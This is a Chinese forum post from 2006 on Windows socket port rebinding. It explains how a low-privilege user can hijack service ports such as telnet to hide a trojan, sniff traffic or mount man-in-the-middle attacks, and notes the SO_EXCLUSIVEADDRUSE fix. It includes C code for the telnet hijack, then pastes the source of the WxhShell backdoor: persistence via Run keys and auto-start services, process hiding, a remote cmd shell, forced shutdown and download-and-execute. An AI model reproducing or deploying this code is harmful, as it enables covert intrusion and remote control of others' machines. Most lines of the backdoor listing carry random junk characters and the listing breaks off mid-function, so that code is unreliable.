[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; |_*O'#jx
if(chr[0]==0xd || chr[0]==0xa) { TYmP)
pwd=0; Vq5k+3W+
break; s(%oTKjt
} t.&Od;\[/
i++; Hl/ QnI!
} Hh-+/sO~"
iZNts%Y]
// 如果是非法用户，关闭 socket D 38$`j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y/>&0wj)d
} X4AyX.p
ZP*q4:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !2A:"2Kys:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Z+nz^'b
$8xl#SqH
while(1) { ') gi%
2FF4W54I
ZeroMemory(cmd,KEY_BUFF); OjF_ %5
;04Ldb1{|3
// 自动支持客户端 telnet标准 Rhz_t@e
j=0; W?aI|U1
while(j<KEY_BUFF) { RGg(%.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n'01Hh`0
cmd[j]=chr[0]; oA7;.:3
if(chr[0]==0xa || chr[0]==0xd) { V7[zAq
cmd[j]=0; LbG_z =A
break; J'fQW<T4wU
} jbu8~\"
j++; U.XNv-M
} e~@[18
'fF;(?
// 下载文件 a /#PLP
if(strstr(cmd,"http://")) { )V ;mwT!Q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); MHai%E
if(DownloadFile(cmd,wsh)) n\5RAIg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r77PQQDT
else 'u_t<F]b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ikiib WQL+
} T/xp?Vq6/
else { K]|> Et`
bKQ"ax>6p
switch(cmd[0]) { rN<b?KE
H nUYqhZS
// 帮助 xw T%),
case '?': { M57T2]8,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }_;!hdYq
break; g'=B%eO$j:
} Tp?y8r
// 安装 x.zbD8l/9
case 'i': { (v|}\?L
if(Install()) WxJf{=-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2KN6}
else ;M#_6Hd?qD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?a8(azn
break; z$GoaS(
} (85Fv&a
// 卸载 XC "'Q+
case 'r': { .YnFH$;$
if(Uninstall()) :.d:9Z|_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&3"<6xA
else ^;maotHn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MpqZH{:?G
break; CI :`<PZ\-
} t" 7yNs(I
// 显示 wxhshell 所在路径 ;VNMD 6H
case 'p': { OhmQ,
char svExeFile[MAX_PATH]; 7&"n`@(.!
strcpy(svExeFile,"\n\r"); }X_;X_\3;'
strcat(svExeFile,ExeFile); P=+nB*hG
send(wsh,svExeFile,strlen(svExeFile),0); )aao[_ZS
break; VX+jadYdq
} MJCzo |w
// 重启 /K{9OT@>
case 'b': { ""h)LUrl
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VY"9?2?/
if(Boot(REBOOT)) Ra/Ukv_v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RJH,
else { .8uz 6~
closesocket(wsh); C?=P
ExitThread(0); _s$_Sa ;
} RZ7(J
break; mVsIAC$}8
} drd/jH&
// 关机 6uKMCQ=h
case 'd': { /c-r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^/=#UQ*k
if(Boot(SHUTDOWN)) b}wC|\s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k({\/t3i
else { c.f"Gv
closesocket(wsh); { "xln/
ExitThread(0); :nS;W
} TO*BH^5R
break; qdG~!h7j
} d90Z,nex
// 获取shell 7GSV
case 's': { G #T<`>T
CmdShell(wsh); B_l{<
closesocket(wsh); :BukUket1e
ExitThread(0); he-Ji
break; +"}=d3E6
} q4$+H{xB
// 退出 F3lw@b3])
case 'x': { xc:!cA{V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ror|R@;y
CloseIt(wsh); CGP3qHrXt
break; Bo+DJizu
} Af5D>/
// 离开 j9U%7u]-k
case 'q': { qXW})(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J.+BD\pa
closesocket(wsh); 8; R|
WSACleanup(); V~yAE@9
exit(1); %tt%`0
break; %77p5ctW
} .E~(h*NW
} nGf);U#K
} u@P[Vb
>Aq870n
// 提示信息 EIbXmkHl<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BtdXv4V
} GOB(#vu
} 4Kv[e]10(
F;!2(sPS
return; Q U F$@)A
} G02m/8g3
LFp]7Dq
// shell模块句柄 .LRxP#B
int CmdShell(SOCKET sock) 3PUAH
{ E%TpJl'U
STARTUPINFO si; m&oi8 P-6
ZeroMemory(&si,sizeof(si)); x/MZ(A%D
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^D_/=4rz8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Sf-;U
PROCESS_INFORMATION ProcessInfo; <n\`d
char cmdline[]="cmd"; )g@S%Yu
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "4j:[9vR\
return 0; rba;&D;
} v !Kw< fp|
1fL<&G
// 自身启动模式 tAFti+Qb
int StartFromService(void) &~f3psA
{ sK=}E=
typedef struct a)! g7u
{ [rOaM$3|
DWORD ExitStatus; zN_:nY>
DWORD PebBaseAddress; mN5 8r"!J
DWORD AffinityMask; $O:w(U
DWORD BasePriority; 68'>Zbelb
ULONG UniqueProcessId; 7C?.L70ZY
ULONG InheritedFromUniqueProcessId; 3%<C<(
} PROCESS_BASIC_INFORMATION; MuEy>dl
L1)@z8]
PROCNTQSIP NtQueryInformationProcess; )I@L+
$H'X V"<o
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %YlTF\-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MYnH2w]
VnJMmMM
HANDLE hProcess; "x&C5l}n
PROCESS_BASIC_INFORMATION pbi; z&3]%t `C
1(GHCxA8G
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^yKY'>T#d
if(NULL == hInst ) return 0; AzpV4(:an.
$ 'QdFkOr
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]&i+!$N_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7TX,T|>9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VLg EX4
*Wb=WM-.
if (!NtQueryInformationProcess) return 0; )yb+M ez
M`,XyIn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =j /hl
if(!hProcess) return 0; I7\ &Z q
&,-p',\-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #G,XDW2"w
xwzT#DXGJ
CloseHandle(hProcess); _#qe#
I(n* _bFq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); re,.@${H
if(hProcess==NULL) return 0; a%J6f$A#
dyFKxn`,
HMODULE hMod; qG>DTKIU
char procName[255]; I8op>^N"
unsigned long cbNeeded; C@HD(..#
U06o;s(
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EH+~].PJd
.1*DR]^`
CloseHandle(hProcess); #DP7SO
2Q$\KRE
if(strstr(procName,"services")) return 1; // 以服务启动 GG'Sp53GE
7-9;PkGG.A
return 0; // 注册表启动 =!-5+I#e
} ~ |,e_ zA
^ZQCIS-R
// 主模块 h[ 6hM^n
int StartWxhshell(LPSTR lpCmdLine) H]qq ~bO[
{ mR":z|6
SOCKET wsl; ":d*dl
BOOL val=TRUE; jgvh[@uB?
int port=0; :?r*p>0$
struct sockaddr_in door; ! VRI_c
gf$HuCh|
if(wscfg.ws_autoins) Install(); -%uy63LbHF
5&4F,v[zp
port=atoi(lpCmdLine); qZG-Lh
4&}\BU*
if(port<=0) port=wscfg.ws_port; dB|Te"6
u2`xC4>c
WSADATA data; NR/-m7#-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |Odu4 Q
.Y/-8H-3v
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m(3);)d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4IGxI7~27#
door.sin_family = AF_INET; W<gD6+=8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); TJ2/?p\x
door.sin_port = htons(port); iiwpSGFl]
uaQ&&5%%J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h1%y:[_
closesocket(wsl); ?\yB)Nd y
return 1; \!X?zR_
} j3P RAe
AZ8UXq
if(listen(wsl,2) == INVALID_SOCKET) { wd`R4CKhP]
closesocket(wsl); %^^h) Wy}
return 1; rr>~WjZ3
} S.fXHtSx
Wxhshell(wsl); X"J%R/f
WSACleanup(); iE{Oit^aG
`03<0L
return 0; +IsWI;lp
`p"U
} CSL4P)
*!u?
// 以NT服务方式启动 Rc7.M"wzjX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gLCz]D.'
{ $T)d!$
DWORD status = 0; vXPuyR<J
DWORD specificError = 0xfffffff; F>Mr<k=@;
U~g@TfU;
serviceStatus.dwServiceType = SERVICE_WIN32; rAatJc"0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QBjY&(vY
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;^.9#B,<
serviceStatus.dwWin32ExitCode = 0; /2:Q6J
serviceStatus.dwServiceSpecificExitCode = 0; cJq<9(
serviceStatus.dwCheckPoint = 0; |\p5mh
serviceStatus.dwWaitHint = 0; !`h~`-]O
:+pPrGj"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bVmvjY4
if (hServiceStatusHandle==0) return; (j`l5r#X#/
ArdJ."
status = GetLastError(); 8c?8X=|D7
if (status!=NO_ERROR) Alh?0Fk3)
{ '?L%F{g/9
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?lG;,,jc,W
serviceStatus.dwCheckPoint = 0; (E]"Srwh
serviceStatus.dwWaitHint = 0; xfUhSt
serviceStatus.dwWin32ExitCode = status; vcD'~)G(*
serviceStatus.dwServiceSpecificExitCode = specificError; 9_`3IJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :,=Fx</H
return; '!j(u@&!
} e>(Wvb&4
:dbV2'vIQ
serviceStatus.dwCurrentState = SERVICE_RUNNING; B(EtXB9
serviceStatus.dwCheckPoint = 0; v7$9QVze
serviceStatus.dwWaitHint = 0; R]fYe#!"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dpp@*xX>
} @>9A$w$H|a
v*gLNB,ZH
// 处理NT服务事件，比如：启动、停止 "x.88,T6
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?ZM^%]/+
{ Kk56/(_S
switch(fdwControl) kBUufV~
{ `i{4cT8:
case SERVICE_CONTROL_STOP: <W9) Bq4
serviceStatus.dwWin32ExitCode = 0; 6g5]=Q@U:
serviceStatus.dwCurrentState = SERVICE_STOPPED; *kV#)j
serviceStatus.dwCheckPoint = 0; !%)L&W_
serviceStatus.dwWaitHint = 0; ]LY^9eK)>{
{ YmA) @1@U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zXDd,ltm
} oYGUjI
return; m>+A*M8
case SERVICE_CONTROL_PAUSE: qFGB'mIrFz
serviceStatus.dwCurrentState = SERVICE_PAUSED; #s/{u RYQ
break; aliQ6_
case SERVICE_CONTROL_CONTINUE: )m>6hk
serviceStatus.dwCurrentState = SERVICE_RUNNING; _fe0,
break; rQuOt
case SERVICE_CONTROL_INTERROGATE: %G^(T%q| m
break; >pJ6{Ip
}; )<tzm'Rc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); aq$62>[
} X$ejy/+.
jm~mhAE#
// 标准应用程序主函数 CJtr0M<U+
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^$ZI>L0+
{ la1D2 lM
Ty(yh(oYF`
// 获取操作系统版本 >J?jr&i
OsIsNt=GetOsVer(); {[rO2<MkA#
GetModuleFileName(NULL,ExeFile,MAX_PATH); 939]8BERt
V&$ J;
// 从命令行安装 t PAt?
if(strpbrk(lpCmdLine,"iI")) Install(); Fj36K6!#?
'XG:1Bpm
// 下载执行文件 gA|!$EAM
if(wscfg.ws_downexe) { ~&vA_/M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `mQP{od?"?
